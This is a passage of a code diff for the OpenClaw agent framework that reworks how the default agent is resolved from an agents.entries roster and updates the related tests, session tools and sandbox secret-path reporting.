describe("openclaw-tools Swarm gating", () => { ...base, config: { tools: { swarm: true }, - agents: { list: [{ id: "worker", tools: { swarm: false } }] }, + agents: { + list: [ + { id: "main", default: true }, + { id: "worker", tools: { swarm: false } }, + ], + }, }, }), ).not.toContain("agents_wait"); @@ -64,7 +79,10 @@ describe("openclaw-tools Swarm gating", () => { const names = createOpenClawCodingTools({ sessionKey: "agent:worker:subagent:child", runId: "collector-run", - config: { tools: { allow: ["read"], swarm: true } }, + config: { + agents: { entries: { main: { default: true } } }, + tools: { allow: ["read"], swarm: true }, + }, swarmCollector: true, swarmOutputSchema: { type: "object", properties: { answer: { type: "string" } } }, }).map((tool) => tool.name); @@ -78,7 +96,10 @@ describe("openclaw-tools Swarm gating", () => { const names = createOpenClawCodingTools({ sessionKey: "agent:worker:subagent:child", runId: "collector-run", - config: { tools: { swarm: true } }, + config: { + agents: { entries: { main: { default: true } } }, + tools: { swarm: true }, + }, swarmCollector: true, }).map((tool) => tool.name); @@ -89,7 +110,10 @@ describe("openclaw-tools Swarm gating", () => { const names = createOpenClawCodingTools({ sessionKey: "agent:worker:main", runId: "collector-run", - config: { tools: { swarm: true } }, + config: { + agents: { entries: { main: { default: true } } }, + tools: { swarm: true }, + }, swarmCollector: true, }).map((tool) => tool.name); diff --git a/src/agents/openclaw-tools.update-plan.test.ts b/src/agents/openclaw-tools.update-plan.test.ts index ef7c28d1af89..6791a373ba23 100644 --- a/src/agents/openclaw-tools.update-plan.test.ts +++ b/src/agents/openclaw-tools.update-plan.test.ts @@ -14,8 +14,20 @@ import { createUpdatePlanTool } from "./tools/update-plan-tool.js"; type UpdatePlanGatingParams = Parameters[0]; type CreateOpenClawToolsOptions = NonNullable[0]>; +function withDefaultRoster(config: OpenClawConfig | undefined): OpenClawConfig { + return { + ...config, + agents: config?.agents ?? { entries: { main: { default: true } } }, + }; +} + function expectUpdatePlanEnabled(params: UpdatePlanGatingParams, expected: boolean): void { - expect(shouldIncludeUpdatePlanToolForOpenClawTools(params)).toBe(expected); + expect( + shouldIncludeUpdatePlanToolForOpenClawTools({ + ...params, + config: withDefaultRoster(params.config), + }), + ).toBe(expected); } function toolNames(tools: ReturnType): string[] { @@ -25,7 +37,7 @@ function toolNames(tools: ReturnType): string[] { function createFastToolNames(options: CreateOpenClawToolsOptions): string[] { // Disable unrelated dynamic surfaces so registration assertions stay deterministic. return toolNames( - createOpenClawTools({ + createTestOpenClawTools({ disableMessageTool: true, disablePluginTools: true, wrapBeforeToolCallHook: false, @@ -34,6 +46,13 @@ function createFastToolNames(options: CreateOpenClawToolsOptions): string[] { ); } +function createTestOpenClawTools(options: CreateOpenClawToolsOptions = {}) { + return createOpenClawTools({ + ...options, + config: withDefaultRoster(options.config), + }); +} + function expectToolNamed( tools: ReturnType, name: string, @@ -127,11 +146,11 @@ describe("openclaw-tools update_plan gating", () => { }); it("wraps constructed tools with before-tool-call hooks by default", () => { - const tools = createOpenClawTools({ + const tools = createTestOpenClawTools({ config: {} as OpenClawConfig, disablePluginTools: true, }); - const unwrappedTools = createOpenClawTools({ + const unwrappedTools = createTestOpenClawTools({ config: {} as OpenClawConfig, disablePluginTools: true, wrapBeforeToolCallHook: false, @@ -145,7 +164,7 @@ describe("openclaw-tools update_plan gating", () => { it("keeps message tool in embedded message-tool-only completions", () => { setEmbeddedMode(true); - const tools = createOpenClawTools({ + const tools = createTestOpenClawTools({ config: {} as OpenClawConfig, disablePluginTools: true, wrapBeforeToolCallHook: false, @@ -220,18 +239,18 @@ describe("openclaw-tools update_plan gating", () => { it("keeps explicitly allowed message tool in embedded completions", () => { setEmbeddedMode(true); - const fromRuntimeAllowlist = createOpenClawTools({ + const fromRuntimeAllowlist = createTestOpenClawTools({ config: {} as OpenClawConfig, disablePluginTools: true, pluginToolAllowlist: ["message"], wrapBeforeToolCallHook: false, }); - const fromGlobalAlsoAllow = createOpenClawTools({ + const fromGlobalAlsoAllow = createTestOpenClawTools({ config: { tools: { profile: "minimal", alsoAllow: ["message"] } } as OpenClawConfig, disablePluginTools: true, wrapBeforeToolCallHook: false, }); - const denied = createOpenClawTools({ + const denied = createTestOpenClawTools({ config: {} as OpenClawConfig, disablePluginTools: true, pluginToolAllowlist: ["message"], diff --git a/src/agents/requester-tool-policy.test.ts b/src/agents/requester-tool-policy.test.ts index 54daadefa3b2..9be369d68b94 100644 --- a/src/agents/requester-tool-policy.test.ts +++ b/src/agents/requester-tool-policy.test.ts @@ -316,6 +316,21 @@ describe("resolveRequesterToolPolicies", () => { }); }); + it("fails closed when a trusted internal handoff has no configuration", () => { + expect(() => + resolveRequesterToolPolicies({ + agentId: "ops", + sessionKey: "agent:ops:main", + trustedInternalHandoff: true, + inputProvenance: { + kind: "inter_session", + sourceSessionKey: "agent:ops:subagent:child", + sourceTool: "subagent_announce", + }, + }), + ).toThrow("Trusted internal handoff policy resolution requires configuration."); + }); + it("restores a verified completion handoff to a distinct immutable completion owner", async () => { const controllerSessionKey = "agent:main:discord:direct:alice"; const completionOwnerSessionKey = "agent:main:main"; diff --git a/src/agents/requester-tool-policy.ts b/src/agents/requester-tool-policy.ts index ea76855e4812..a9adf46c3961 100644 --- a/src/agents/requester-tool-policy.ts +++ b/src/agents/requester-tool-policy.ts @@ -120,6 +120,9 @@ function resolveDelegatedPolicy( ) { return { delegated: false }; } + if (!params.config) { + throw new Error("Trusted internal handoff policy resolution requires configuration."); + } const targetSessionKey = resolveRequesterStoreKey(params.config, params.sessionKey); let currentSessionKey = resolveRequesterStoreKey(params.config, provenance.sourceSessionKey); const visited = new Set(); diff --git a/src/agents/sandbox/secret-owner.test.ts b/src/agents/sandbox/secret-owner.test.ts index d23e8b0d065e..3979c73efc01 100644 --- a/src/agents/sandbox/secret-owner.test.ts +++ b/src/agents/sandbox/secret-owner.test.ts @@ -11,6 +11,7 @@ describe("sandbox SSH secret owner", () => { it("rejects an unmaterialized inherited ref without active degraded-owner state", async () => { const config: OpenClawConfig = { agents: { + entries: { main: { default: true } }, defaults: { sandbox: { mode: "all", diff --git a/src/agents/sandbox/secret-owner.ts b/src/agents/sandbox/secret-owner.ts index 61457b4985fe..7a178931540b 100644 --- a/src/agents/sandbox/secret-owner.ts +++ b/src/agents/sandbox/secret-owner.ts @@ -8,7 +8,7 @@ import { assertRuntimeSandboxSecretOwnerAvailable, runtimeSandboxSecretOwnerId, } from "../../secrets/runtime-sandbox-secret-owner.js"; -import { resolveAgentConfig } from "../agent-scope-config.js"; +import { listAgentEntriesWithSource, resolveAgentConfig } from "../agent-scope-config.js"; import type { SandboxScope } from "./types.js"; const SSH_SECRET_KEYS = ["identityData", "certificateData", "knownHostsData"] as const; @@ -32,10 +32,10 @@ export function assertSshSandboxSecretOwnerAvailable(params: { ? resolveAgentConfig(params.config, params.agentId)?.sandbox?.ssh : undefined; const normalizedAgentId = params.agentId ? normalizeAgentId(params.agentId) : undefined; - const agentIndex = normalizedAgentId - ? params.config.agents?.list?.findIndex( - (entry) => normalizeAgentId(entry?.id) === normalizedAgentId, - ) + const agentSource = normalizedAgentId + ? listAgentEntriesWithSource(params.config).find( + ({ entry }) => normalizeAgentId(entry.id) === normalizedAgentId, + )?.source : undefined; const unresolved: Array<{ path: string; refKey: string }> = []; for (const key of SSH_SECRET_KEYS) { @@ -47,8 +47,10 @@ export function assertSshSandboxSecretOwnerAvailable(params: { } unresolved.push({ path: - usesAgentValue && agentIndex !== undefined && agentIndex >= 0 - ? `agents.list.${agentIndex}.sandbox.ssh.${key}` + usesAgentValue && agentSource + ? agentSource.kind === "entries" + ? `agents.entries.${agentSource.key}.sandbox.ssh.${key}` + : `agents.list.${agentSource.index}.sandbox.ssh.${key}` : `agents.defaults.sandbox.ssh.${key}`, refKey: secretRefKey(ref), }); diff --git a/src/agents/sandbox/tool-policy.test.ts b/src/agents/sandbox/tool-policy.test.ts index b6279448d248..bb4b6a1269ee 100644 --- a/src/agents/sandbox/tool-policy.test.ts +++ b/src/agents/sandbox/tool-policy.test.ts @@ -2,12 +2,46 @@ // guidance for sandboxed agent sessions. import { describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../../config/config.js"; -import { resolveSandboxConfigForAgent } from "./config.js"; +import { migratePersistedImplicitMainRoster } from "../../config/legacy.roster.js"; +import { resolveSandboxConfigForAgent as resolveSandboxConfigForAgentBase } from "./config.js"; import { - formatSandboxToolPolicyBlockedMessage, - resolveSandboxRuntimeStatus, + formatSandboxToolPolicyBlockedMessage as formatSandboxToolPolicyBlockedMessageBase, + resolveSandboxRuntimeStatus as resolveSandboxRuntimeStatusBase, } from "./runtime-status.js"; -import { isToolAllowed, resolveSandboxToolPolicyForAgent } from "./tool-policy.js"; +import { + isToolAllowed, + resolveSandboxToolPolicyForAgent as resolveSandboxToolPolicyForAgentBase, +} from "./tool-policy.js"; + +function loadedConfig(config: OpenClawConfig | undefined): OpenClawConfig { + return migratePersistedImplicitMainRoster(config ?? {}).config as OpenClawConfig; +} + +function resolveSandboxConfigForAgent(config: OpenClawConfig, agentId: string) { + return resolveSandboxConfigForAgentBase(loadedConfig(config), agentId); +} + +function resolveSandboxToolPolicyForAgent(config: OpenClawConfig, agentId: string) { + return resolveSandboxToolPolicyForAgentBase(loadedConfig(config), agentId); +} + +function resolveSandboxRuntimeStatus( + params: Parameters[0], +) { + return resolveSandboxRuntimeStatusBase({ + ...params, + cfg: loadedConfig(params.cfg), + }); +} + +function formatSandboxToolPolicyBlockedMessage( + params: Parameters[0], +) { + return formatSandboxToolPolicyBlockedMessageBase({ + ...params, + cfg: loadedConfig(params.cfg), + }); +} describe("sandbox/tool-policy", () => { it("merges sandbox alsoAllow into the default sandbox allowlist", () => { diff --git a/src/agents/simple-completion-runtime.selection.test.ts b/src/agents/simple-completion-runtime.selection.test.ts index 7c55085f1872..3852f8011b11 100644 --- a/src/agents/simple-completion-runtime.selection.test.ts +++ b/src/agents/simple-completion-runtime.selection.test.ts @@ -1,7 +1,17 @@ // Verifies simple-completion model selection preserves provider, model, and profile refs. import { describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../config/config.js"; -import { resolveSimpleCompletionSelectionForAgent } from "./simple-completion-runtime.js"; +import { migratePersistedImplicitMainRoster } from "../config/legacy.roster.js"; +import { resolveSimpleCompletionSelectionForAgent as resolveSimpleCompletionSelectionForAgentBase } from "./simple-completion-runtime.js"; + +function resolveSimpleCompletionSelectionForAgent( + params: Parameters[0], +) { + return resolveSimpleCompletionSelectionForAgentBase({ + ...params, + cfg: migratePersistedImplicitMainRoster(params.cfg).config as OpenClawConfig, + }); +} function requireSelection(selection: ReturnType) { // Narrows absent selections so each case can assert parsed provider/model fields. diff --git a/src/agents/subagent-announce-delivery.ts b/src/agents/subagent-announce-delivery.ts index b3e456a47dcd..ca618efcb70b 100644 --- a/src/agents/subagent-announce-delivery.ts +++ b/src/agents/subagent-announce-delivery.ts @@ -54,6 +54,7 @@ import { normalizeMessageChannel, } from "../utils/message-channel.js"; import { hasAcceptedSessionSpawn } from "./accepted-session-spawn.js"; +import { resolveDefaultAgentId } from "./agent-scope-config.js"; import { collectDeliveredMediaUrls, collectMessagingToolDeliveredMediaUrls, @@ -747,7 +748,7 @@ export async function resolveSubagentCompletionOrigin(params: { export function loadRequesterSessionEntry(requesterSessionKey: string) { const cfg = subagentAnnounceDeliveryDeps.getRuntimeConfig(); const canonicalKey = resolveRequesterStoreKey(cfg, requesterSessionKey); - const agentId = resolveAgentIdFromSessionKey(canonicalKey); + const agentId = resolveAgentIdFromSessionKey(canonicalKey, resolveDefaultAgentId(cfg)); const storePath = resolveStorePath(cfg.session?.store, { agentId }); const entry = subagentAnnounceDeliveryDeps.loadSessionEntry({ storePath, @@ -759,7 +760,7 @@ export function loadRequesterSessionEntry(requesterSessionKey: string) { export function loadSessionEntryByKey(sessionKey: string) { const cfg = subagentAnnounceDeliveryDeps.getRuntimeConfig(); - const agentId = resolveAgentIdFromSessionKey(sessionKey); + const agentId = resolveAgentIdFromSessionKey(sessionKey, resolveDefaultAgentId(cfg)); const storePath = resolveStorePath(cfg.session?.store, { agentId }); return subagentAnnounceDeliveryDeps.loadSessionEntry({ storePath, @@ -1054,7 +1055,10 @@ async function deliverGeneratedMediaCompletionDirect(params: { sourceTool: params.sourceTool, internalEvents: params.internalEvents, }); - const agentId = resolveAgentIdFromSessionKey(params.requesterSessionKey); + const agentId = resolveAgentIdFromSessionKey( + params.requesterSessionKey, + resolveDefaultAgentId(params.cfg), + ); const idempotencyKey = `${params.directIdempotencyKey}:generated-media-direct`; try { await subagentAnnounceDeliveryDeps.sendMessage({ @@ -1205,7 +1209,10 @@ async function deliverTextCompletionDirect(params: { ) { return undefined; } - const agentId = resolveAgentIdFromSessionKey(params.requesterSessionKey); + const agentId = resolveAgentIdFromSessionKey( + params.requesterSessionKey, + resolveDefaultAgentId(params.cfg), + ); const idempotencyKey = `${params.directIdempotencyKey}:text-direct`; try { await subagentAnnounceDeliveryDeps.sendMessage({ diff --git a/src/agents/subagent-requester-store-key.ts b/src/agents/subagent-requester-store-key.ts index 8795c9b26365..e42d68102cc9 100644 --- a/src/agents/subagent-requester-store-key.ts +++ b/src/agents/subagent-requester-store-key.ts @@ -7,18 +7,12 @@ import { resolveAgentIdFromSessionKey, resolveMainSessionKey, } from "../config/sessions/main-session.js"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; import { normalizeMainKey } from "../routing/session-key.js"; - -type RequesterStoreKeyConfig = { - session?: { mainKey?: string }; - agents?: { list?: Array<{ id?: string; default?: boolean }> }; -}; +import { resolveDefaultAgentId } from "./agent-scope-config.js"; /** Resolve the canonical store key for a subagent requester session. */ -export function resolveRequesterStoreKey( - cfg: RequesterStoreKeyConfig | undefined, - requesterSessionKey: string, -): string { +export function resolveRequesterStoreKey(cfg: OpenClawConfig, requesterSessionKey: string): string { const raw = (requesterSessionKey ?? "").trim(); if (!raw) { return raw; @@ -33,6 +27,6 @@ export function resolveRequesterStoreKey( if (raw === "main" || raw === mainKey) { return resolveMainSessionKey(cfg); } - const agentId = resolveAgentIdFromSessionKey(raw); + const agentId = resolveAgentIdFromSessionKey(raw, resolveDefaultAgentId(cfg)); return `agent:${agentId}:${raw}`; } diff --git a/src/agents/tool-search-runtime-config.test.ts b/src/agents/tool-search-runtime-config.test.ts index a17a4d120086..73f2cfec8b14 100644 --- a/src/agents/tool-search-runtime-config.test.ts +++ b/src/agents/tool-search-runtime-config.test.ts @@ -6,7 +6,10 @@ import { resolveAgentToolSearchRuntimeConfig } from "./tool-search-runtime-confi function createRuntimeConfigPair() { const sourceConfig = { - agents: { defaults: { experimental: { localModelLean: true } } }, + agents: { + defaults: { experimental: { localModelLean: true } }, + entries: { main: { default: true } }, + }, plugins: { entries: { "example-plugin": { @@ -80,6 +83,7 @@ describe("resolveAgentToolSearchRuntimeConfig", () => { const { runtimeConfig, sourceConfig } = createRuntimeConfigPair(); setRuntimeConfigSnapshot(runtimeConfig, sourceConfig); const explicitConfig = { + agents: { entries: { main: { default: true } } }, plugins: { entries: { "example-plugin": { config: { marker: "explicit" } }, @@ -92,7 +96,10 @@ describe("resolveAgentToolSearchRuntimeConfig", () => { }); it("uses the input config when no runtime snapshot exists", () => { - const config = { tools: { toolSearch: false } } as OpenClawConfig; + const config = { + agents: { entries: { main: { default: true } } }, + tools: { toolSearch: false }, + } as OpenClawConfig; expect(resolveAgentRuntimeToolConfig(config)).toBe(config); expect(resolveAgentToolSearchRuntimeConfig({ config })).toBe(config); diff --git a/src/agents/tools/agents-list-tool.test.ts b/src/agents/tools/agents-list-tool.test.ts index 5de7551b5bd4..38930a8286b7 100644 --- a/src/agents/tools/agents-list-tool.test.ts +++ b/src/agents/tools/agents-list-tool.test.ts @@ -139,36 +139,6 @@ describe("agents_list tool", () => { }); }); - it("uses the implicit default agent as a configured target", async () => { - loadConfigMock.mockReturnValue({ - agents: { - defaults: { - subagents: { allowAgents: ["main"] }, - }, - }, - } satisfies OpenClawConfig); - - const result = await createAgentsListTool({ agentSessionKey: "agent:main:main" }).execute( - "call", - {}, - ); - const details = result.details as AgentListDetails; - - expect(details).toStrictEqual({ - requester: "main", - allowAny: false, - agents: [ - { - id: "main", - name: undefined, - configured: true, - model: undefined, - agentRuntime: { id: "codex", source: "implicit" }, - }, - ], - }); - }); - it("ignores legacy env-forced plugin runtime selections", async () => { // Runtime selection now comes from config/model routing, not a process-wide // legacy env override. diff --git a/src/agents/tools/agents-list-tool.ts b/src/agents/tools/agents-list-tool.ts index 0f393e7c2035..b826edee2a09 100644 --- a/src/agents/tools/agents-list-tool.ts +++ b/src/agents/tools/agents-list-tool.ts @@ -5,13 +5,9 @@ */ import { Type } from "typebox"; import { getRuntimeConfig } from "../../config/config.js"; -import { - DEFAULT_AGENT_ID, - normalizeAgentId, - parseAgentSessionKey, -} from "../../routing/session-key.js"; +import { normalizeAgentId, parseAgentSessionKey } from "../../routing/session-key.js"; import { resolveModelAgentRuntimeMetadata } from "../agent-runtime-metadata.js"; -import { listAgentIds } from "../agent-scope-config.js"; +import { listAgentEntries, listAgentIds, resolveDefaultAgentId } from "../agent-scope-config.js"; import { resolveAgentConfig, resolveAgentEffectiveModelPrimary } from "../agent-scope.js"; import { resolveDefaultModelForAgent } from "../model-selection.js"; import { resolveSubagentAllowedTargetIds } from "../subagent-target-policy.js"; @@ -102,14 +98,14 @@ export function createAgentsListTool(opts?: { const requesterAgentId = normalizeAgentId( opts?.requesterAgentIdOverride ?? parseAgentSessionKey(requesterInternalKey)?.agentId ?? - DEFAULT_AGENT_ID, + resolveDefaultAgentId(cfg), ); const allowAgents = resolveAgentConfig(cfg, requesterAgentId)?.subagents?.allowAgents ?? cfg?.agents?.defaults?.subagents?.allowAgents; - const configuredAgents = Array.isArray(cfg.agents?.list) ? cfg.agents?.list : []; + const configuredAgents = listAgentEntries(cfg); const configuredIds = listAgentIds(cfg); const configuredNameMap = new Map(); for (const entry of configuredAgents) { diff --git a/src/agents/tools/message-tool.internal-source-reply.integration.test.ts b/src/agents/tools/message-tool.internal-source-reply.integration.test.ts index 4bc5fe4372e8..c786b302399b 100644 --- a/src/agents/tools/message-tool.internal-source-reply.integration.test.ts +++ b/src/agents/tools/message-tool.internal-source-reply.integration.test.ts @@ -10,7 +10,7 @@ import { createMessageTool } from "./message-tool.js"; describe("WebChat message tool internal source reply", () => { it("projects a real targetless send and preserves the automatic final reply", async () => { const tool = createMessageTool({ - config: {}, + config: { agents: { entries: { main: { default: true } } } }, currentChannelProvider: "webchat", sourceReplyDeliveryMode: "automatic", agentSessionKey: "agent:main:webchat:dm:dashboard", diff --git a/src/agents/tools/session-status-session-resolve.ts b/src/agents/tools/session-status-session-resolve.ts index 61019beb1c6e..b893a107ff87 100644 --- a/src/agents/tools/session-status-session-resolve.ts +++ b/src/agents/tools/session-status-session-resolve.ts @@ -2,11 +2,7 @@ import { uniqueStrings } from "@openclaw/normalization-core/string-normalization"; import { resolveSessionEntryCandidateTarget, type SessionEntry } from "../../config/sessions.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; -import { - buildAgentMainSessionKey, - DEFAULT_AGENT_ID, - parseAgentSessionKey, -} from "../../routing/session-key.js"; +import { buildAgentMainSessionKey, parseAgentSessionKey } from "../../routing/session-key.js"; import { resolveInternalSessionKey } from "./sessions-helpers.js"; type ResolvedStatusSessionEntry = { @@ -39,21 +35,21 @@ export function resolveSessionStatusEntry(params: { const candidates: string[] = [keyRaw]; if (!keyRaw.startsWith("agent:")) { - candidates.push(`agent:${DEFAULT_AGENT_ID}:${keyRaw}`); + candidates.push(`agent:${params.agentId}:${keyRaw}`); } if (includeAliasFallback && internal !== keyRaw) { candidates.push(internal); } if (includeAliasFallback && !keyRaw.startsWith("agent:")) { - const agentInternal = `agent:${DEFAULT_AGENT_ID}:${internal}`; - const agentRaw = `agent:${DEFAULT_AGENT_ID}:${keyRaw}`; + const agentInternal = `agent:${params.agentId}:${internal}`; + const agentRaw = `agent:${params.agentId}:${keyRaw}`; if (agentInternal !== agentRaw) { candidates.push(agentInternal); } } if (includeAliasFallback && (keyRaw === "main" || keyRaw === "current")) { const defaultMainKey = buildAgentMainSessionKey({ - agentId: DEFAULT_AGENT_ID, + agentId: params.agentId, mainKey: params.mainKey, }); if (!candidates.includes(defaultMainKey)) { diff --git a/src/agents/tools/session-status-tool.ts b/src/agents/tools/session-status-tool.ts index f68aacb42200..a0311ff577a8 100644 --- a/src/agents/tools/session-status-tool.ts +++ b/src/agents/tools/session-status-tool.ts @@ -50,6 +50,7 @@ import { isDeliverableMessageChannel, normalizeMessageChannel, } from "../../utils/message-channel.js"; +import { resolveDefaultAgentId } from "../agent-scope-config.js"; import { resolveAgentDir, resolveAgentWorkspaceDir } from "../agent-scope.js"; import { buildModelAliasIndex, @@ -571,8 +572,10 @@ export function createSessionStatusTool(opts?: { sandboxed: opts?.sandboxed, }); const a2aPolicy = createAgentToAgentPolicy(cfg); + const configuredDefaultAgentId = resolveDefaultAgentId(cfg); const requesterAgentId = resolveAgentIdFromSessionKey( opts?.agentSessionKey ?? effectiveRequesterKey, + configuredDefaultAgentId, ); const visibilityRequesterKey = (opts?.agentSessionKey ?? effectiveRequesterKey).trim(); const usesLegacyMainAlias = alias === mainKey; @@ -583,7 +586,8 @@ export function createSessionStatusTool(opts?: { const resolveVisibilityMainSessionKey = (sessionAgentId: string) => { const requesterParsed = parseAgentSessionKey(visibilityRequesterKey); if ( - resolveAgentIdFromSessionKey(visibilityRequesterKey) === sessionAgentId && + resolveAgentIdFromSessionKey(visibilityRequesterKey, configuredDefaultAgentId) === + sessionAgentId && (requesterParsed?.rest === mainKey || isLegacyMainVisibilityKey(visibilityRequesterKey)) ) { return visibilityRequesterKey; @@ -613,6 +617,7 @@ export function createSessionStatusTool(opts?: { }; const visibilityGuard = await createSessionVisibilityGuard({ action: "status", + defaultAgentId: resolveDefaultAgentId(cfg), requesterSessionKey: visibilityRequesterKey, visibility: resolveEffectiveSessionToolsVisibility({ cfg, @@ -683,7 +688,10 @@ export function createSessionStatusTool(opts?: { }; if (requestedKeyInput.startsWith("agent:") && !isSemanticCurrentRequest) { - const requestedAgentId = resolveAgentIdFromSessionKey(requestedKeyInput); + const requestedAgentId = resolveAgentIdFromSessionKey( + requestedKeyInput, + configuredDefaultAgentId, + ); ensureAgentAccess(requestedAgentId); const access = visibilityGuard.check( normalizeVisibilityTargetSessionKey(requestedKeyInput, requestedAgentId), @@ -695,7 +703,7 @@ export function createSessionStatusTool(opts?: { const isExplicitAgentKey = requestedKeyInput.startsWith("agent:"); let agentId = isExplicitAgentKey - ? resolveAgentIdFromSessionKey(requestedKeyInput) + ? resolveAgentIdFromSessionKey(requestedKeyInput, configuredDefaultAgentId) : requesterAgentId; let storePath = resolveStorePath(cfg.session?.store, { agentId }); let storeScopedRequesterKey = resolveStoreScopedRequesterKey({ @@ -738,11 +746,13 @@ export function createSessionStatusTool(opts?: { throw new Error("Session status visibility is restricted to the current session tree."); } // If resolution points at another agent, enforce A2A policy before switching stores. - ensureAgentAccess(resolveAgentIdFromSessionKey(visibleSession.key)); + ensureAgentAccess( + resolveAgentIdFromSessionKey(visibleSession.key, configuredDefaultAgentId), + ); resolvedViaSessionId = true; requestedKeyRaw = visibleSession.key; requestedKeyInput = requestedKeyRaw.trim(); - agentId = resolveAgentIdFromSessionKey(visibleSession.key); + agentId = resolveAgentIdFromSessionKey(visibleSession.key, configuredDefaultAgentId); storePath = resolveStorePath(cfg.session?.store, { agentId }); storeScopedRequesterKey = resolveStoreScopedRequesterKey({ requesterKey: effectiveRequesterKey, diff --git a/src/agents/tools/sessions-history-tool.ts b/src/agents/tools/sessions-history-tool.ts index 69f40cb327e1..a7ce5ab018f8 100644 --- a/src/agents/tools/sessions-history-tool.ts +++ b/src/agents/tools/sessions-history-tool.ts @@ -13,6 +13,7 @@ import { capArrayByJsonBytes } from "../../gateway/session-transcript-readers.js import { jsonUtf8Bytes } from "../../infra/json-utf8-bytes.js"; import { redactToolPayloadText } from "../../logging/redact.js"; import { truncateUtf16Safe } from "../../utils.js"; +import { resolveDefaultAgentId } from "../agent-scope-config.js"; import { optionalPositiveIntegerSchema } from "../schema/typebox.js"; import { describeSessionsHistoryTool, @@ -432,6 +433,7 @@ export function createSessionsHistoryTool(opts?: { }); const visibilityGuard = await createSessionVisibilityGuard({ action: "history", + defaultAgentId: resolveDefaultAgentId(cfg), requesterSessionKey: effectiveRequesterKey, visibility, a2aPolicy, diff --git a/src/agents/tools/sessions-list-tool.test.ts b/src/agents/tools/sessions-list-tool.test.ts index a9e9c37dd0ac..312c9135e5e8 100644 --- a/src/agents/tools/sessions-list-tool.test.ts +++ b/src/agents/tools/sessions-list-tool.test.ts @@ -2,9 +2,14 @@ // helpers, and numeric argument validation. import { Value } from "typebox/value"; import { beforeEach, describe, expect, it, vi } from "vitest"; +import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { compactToolOutputHint } from "../tool-schema-hints.js"; import { createSessionsListTool } from "./sessions-list-tool.js"; +const VALID_CONFIG: OpenClawConfig = { + agents: { entries: { main: { default: true } } }, +}; + const mocks = vi.hoisted(() => ({ gatewayCall: vi.fn(), createAgentToAgentPolicy: vi.fn(() => ({})), @@ -88,7 +93,7 @@ describe("sessions-list-tool", () => { main: { "agent:main:main": 7, "agent:main:subagent:child": 0 }, }); - const result = await createSessionsListTool({ config: {} as never }).execute("call-state", {}); + const result = await createSessionsListTool({ config: VALID_CONFIG }).execute("call-state", {}); expect(mocks.getSessionStateVersions).toHaveBeenCalledWith([ { sessionKey: "agent:main:main", agentId: "main" }, @@ -107,7 +112,7 @@ describe("sessions-list-tool", () => { ], }); - const result = await createSessionsListTool({ config: {} as never }).execute("blind", {}); + const result = await createSessionsListTool({ config: VALID_CONFIG }).execute("blind", {}); expect(getSessionsListDetails(result).sessions?.map((session) => session.key)).toEqual([ "agent:main:dashboard:visible", @@ -143,7 +148,7 @@ describe("sessions-list-tool", () => { mocks.getSessionStateVersions.mockReturnValue({ main: { "agent:main:subagent:child": 4 }, }); - const tool = createSessionsListTool({ config: {} as never }); + const tool = createSessionsListTool({ config: VALID_CONFIG }); const result = await tool.execute("contract", {}); expect(tool.outputSchema).toBeDefined(); @@ -213,7 +218,7 @@ describe("sessions-list-tool", () => { } return {}; }); - const tool = createSessionsListTool({ config: {} as never }); + const tool = createSessionsListTool({ config: VALID_CONFIG }); const result = await tool.execute("call-1", {}); const details = getSessionsListDetails(result); @@ -237,14 +242,14 @@ describe("sessions-list-tool", () => { ], }); - const result = await createSessionsListTool({ config: {} as never }).execute("lineage", {}); + const result = await createSessionsListTool({ config: VALID_CONFIG }).execute("lineage", {}); expect(getSessionsListDetails(result).sessions?.[0]?.parentSessionKey).toBe( "agent:main:subagent:parent", ); }); - it("derives channels only from structurally valid group session keys", async () => { + it("omits malformed agent keys and derives channels only from valid group keys", async () => { mocks.gatewayCall.mockImplementation(async (opts: unknown) => { const request = opts as { method?: string }; if (request.method === "sessions.list") { @@ -281,7 +286,7 @@ describe("sessions-list-tool", () => { } return {}; }); - const tool = createSessionsListTool({ config: {} as never }); + const tool = createSessionsListTool({ config: VALID_CONFIG }); const result = await tool.execute("call-agent-scoped-channel", {}); const details = getSessionsListDetails(result); @@ -291,7 +296,6 @@ describe("sessions-list-tool", () => { "discord", "matrix", "unknown", - "unknown", ]); }); @@ -321,7 +325,7 @@ describe("sessions-list-tool", () => { } return {}; }); - const tool = createSessionsListTool({ config: {} as never }); + const tool = createSessionsListTool({ config: VALID_CONFIG }); const result = await tool.execute("call-3", {}); const details = getSessionsListDetails(result); @@ -350,7 +354,7 @@ describe("sessions-list-tool", () => { }, ], }); - const tool = createSessionsListTool({ config: {} as never }); + const tool = createSessionsListTool({ config: VALID_CONFIG }); const result = await tool.execute("call-archived", { archived: true }); @@ -375,7 +379,7 @@ describe("sessions-list-tool", () => { ])("rejects invalid numeric parameter %o", async (params, message) => { // Reject before gateway dispatch so malformed limits cannot reach session // store queries. - const tool = createSessionsListTool({ config: {} as never }); + const tool = createSessionsListTool({ config: VALID_CONFIG }); await expect(tool.execute("call-4", params)).rejects.toThrow(message); expect(mocks.gatewayCall).not.toHaveBeenCalled(); diff --git a/src/agents/tools/sessions-list-tool.ts b/src/agents/tools/sessions-list-tool.ts index aacaefb50d85..8add81d4b232 100644 --- a/src/agents/tools/sessions-list-tool.ts +++ b/src/agents/tools/sessions-list-tool.ts @@ -17,6 +17,7 @@ import { readSessionTitleFieldsFromTranscriptAsync } from "../../gateway/session import { deriveSessionTitle } from "../../gateway/session-utils.js"; import { isIncognitoSessionKey, resolveAgentIdFromSessionKey } from "../../routing/session-key.js"; import { getSessionStateVersions } from "../../sessions/session-state-events.js"; +import { resolveDefaultAgentId } from "../agent-scope-config.js"; import { optionalNonNegativeIntegerSchema, optionalPositiveIntegerSchema, @@ -207,24 +208,30 @@ export function createSessionsListTool(opts?: { const sessions = (Array.isArray(list?.sessions) ? list.sessions : []).filter( (entry) => !entry || typeof entry !== "object" || !isIncognitoSessionKey(entry.key), ); + const defaultAgentId = resolveDefaultAgentId(cfg); const stateVersions = getSessionStateVersions( - sessions.flatMap((entry) => - entry && typeof entry === "object" && typeof entry.key === "string" - ? [ - { - sessionKey: entry.key, - agentId: - typeof entry.agentId === "string" && entry.agentId - ? entry.agentId - : resolveAgentIdFromSessionKey(entry.key), - }, - ] - : [], - ), + sessions.flatMap((entry) => { + if (!entry || typeof entry !== "object" || typeof entry.key !== "string") { + return []; + } + let stateAgentId = + typeof entry.agentId === "string" && entry.agentId ? entry.agentId : undefined; + if (!stateAgentId) { + try { + stateAgentId = resolveAgentIdFromSessionKey(entry.key, defaultAgentId); + } catch { + // Malformed rows remain 